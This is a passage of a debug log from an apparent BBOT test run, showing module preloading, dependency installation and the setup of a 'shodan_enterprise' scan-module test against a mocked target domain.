Preloading wpscan from cache -2026-02-27 19:08:54,469 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 19:08:54,470 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 19:08:54,470 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 19:08:54,471 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 19:08:54,472 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 19:08:54,472 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 19:08:54,473 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 19:08:54,473 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 19:08:54,474 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 19:08:54,475 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 19:08:54,475 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 19:08:54,476 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 19:08:54,476 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 19:08:54,482 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 19:08:54,482 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 19:08:54,483 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 19:08:54,484 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 19:08:54,485 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 19:08:54,486 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 19:08:54,487 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 19:08:54,487 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 19:08:54,488 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 19:08:54,489 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 19:08:54,490 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 19:08:54,491 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 19:08:54,492 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 19:08:54,492 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 19:08:54,493 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 19:08:54,494 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 19:08:54,495 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 19:08:54,495 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 19:08:54,496 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 19:08:54,496 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 19:08:54,497 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 19:08:54,497 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 19:08:54,498 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 19:08:54,499 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 19:08:54,499 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 19:08:54,500 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 19:08:54,500 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 19:08:54,502 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 19:08:54,502 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 19:08:54,503 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 19:08:54,504 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 19:08:54,504 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 19:08:54,505 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 19:08:54,505 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 19:08:54,506 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 19:08:54,507 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 19:08:54,507 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 19:08:54,508 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 19:08:54,508 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 19:08:54,509 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 19:08:54,510 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 19:08:54,510 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 19:08:54,511 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 19:08:54,511 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 19:08:54,512 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 19:08:54,512 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 19:08:54,513 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 19:08:54,514 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 19:08:54,514 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 19:08:54,515 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 19:08:54,515 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 19:08:54,516 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 19:08:54,516 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 19:08:54,518 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 19:08:54,518 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 19:08:54,519 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 19:08:54,519 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 19:08:54,520 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 19:08:54,520 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 19:08:54,521 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 19:08:54,522 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 19:08:54,522 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 19:08:54,523 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 19:08:54,524 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 19:08:54,524 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 19:08:54,525 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 19:08:54,525 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 19:08:54,526 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 19:08:54,527 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 19:08:54,527 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 19:08:54,528 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 19:08:54,528 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 19:08:54,529 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 19:08:54,529 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 19:08:54,530 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 19:08:54,530 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 19:08:54,531 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 19:08:54,532 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 19:08:54,532 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 19:08:54,533 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 19:08:54,533 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 19:08:54,533 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 19:08:54,534 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 19:08:54,535 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 19:08:54,536 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 19:08:54,536 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 19:08:54,537 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 19:08:54,538 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 19:08:54,539 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 19:08:54,539 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 19:08:54,540 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 19:08:54,540 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 19:08:54,541 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 19:08:54,542 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 19:08:54,543 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 19:08:54,543 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 19:08:54,544 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 19:08:54,545 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 19:08:54,546 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 19:08:54,547 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 19:08:54,548 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 19:08:54,549 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 19:08:54,550 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 19:08:54,550 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 19:08:54,551 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 19:08:54,552 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 19:08:54,553 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 19:08:54,554 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 19:08:54,555 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 19:08:54,555 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 19:08:54,556 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 19:08:54,556 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 19:08:54,557 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 19:08:54,558 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 19:08:54,558 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 19:08:54,559 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 19:08:54,559 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 19:08:54,560 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 19:08:54,561 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 19:08:54,562 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 19:08:54,562 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 19:08:54,563 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 19:08:54,564 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 19:08:54,567 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 19:08:54,567 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 19:08:54,569 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 19:08:54,569 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 19:08:54,571 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 19:08:54,571 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 19:08:54,572 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 19:08:54,573 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 19:08:54,573 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 19:08:55,699 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:08:55,699 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:08:55,700 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 19:08:55,842 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 19:08:56,416 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 19:08:56,417 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 19:08:56,417 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 19:08:56,417 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 19:08:56,622 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 19:08:56,623 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 19:08:56,734 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 19:08:56,734 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 19:08:56,790 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 19:08:56,792 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 19:08:56,793 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 19:08:57,247 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 19:08:57,247 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 19:09:02,597 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 19:09:02,598 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 19:09:02,598 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 19:09:04,388 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 19:09:04,389 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 19:09:04,393 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:09:04,394 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 19:09:04,394 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:09:04,394 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 19:09:04,394 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:09:04,395 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 19:09:04,395 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 19:09:04,395 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 19:09:04,400 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/apc9cgamxdguqkweiuam -2026-02-27 19:09:05,153 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 19:09:05,154 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 19:09:05,155 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:09:05,155 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 19:09:05,156 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 19:09:05,287 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 19:09:05,287 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 19:09:05,287 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 19:09:05,289 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 19:09:05,289 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 19:09:05,289 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 19:09:05,290 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 19:09:05,290 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 19:09:05,291 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 19:09:05,291 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 19:09:05,291 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 19:09:05,292 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 19:09:05,292 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 19:09:05,292 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 19:09:05,292 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 19:09:05,292 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 19:09:05,292 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 19:09:05,293 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 19:09:05,293 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 19:09:05,293 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 19:09:05,294 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 19:09:05,294 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 19:09:05,294 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 19:09:05,294 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 19:09:05,295 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 19:09:05,295 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 19:09:05,295 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 19:09:05,295 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 19:09:05,295 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 19:09:05,296 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 19:09:05,296 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 19:09:05,296 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 19:09:05,296 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 19:09:05,297 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 19:09:05,297 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 19:09:05,297 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 19:09:05,297 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 19:09:05,297 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 19:09:05,298 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 19:09:05,298 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 19:09:05,298 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 19:09:05,298 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 19:09:05,299 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 19:09:05,299 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 19:09:05,302 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 19:09:05,470 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_2aodaljnjz -2026-02-27 19:09:05,470 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 19:09:05,605 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 19:09:05,605 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 19:09:05,606 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 19:09:05,609 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) -2026-02-27 19:09:05,707 [DEBUG] bbot.modules._scan_ingress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) passed post-check -2026-02-27 19:09:05,707 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) -2026-02-27 19:09:05,708 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) in-scope because its main host matches the scan target -2026-02-27 19:09:05,709 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'domain'}) -2026-02-27 19:09:05,710 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:09:05,710 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:09:05,711 [DEBUG] bbot.modules.dnsresolve base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'domain'}) passed post-check -2026-02-27 19:09:05,712 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'domain'}) -2026-02-27 19:09:05,713 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:09:05,714 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 19:09:05,715 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 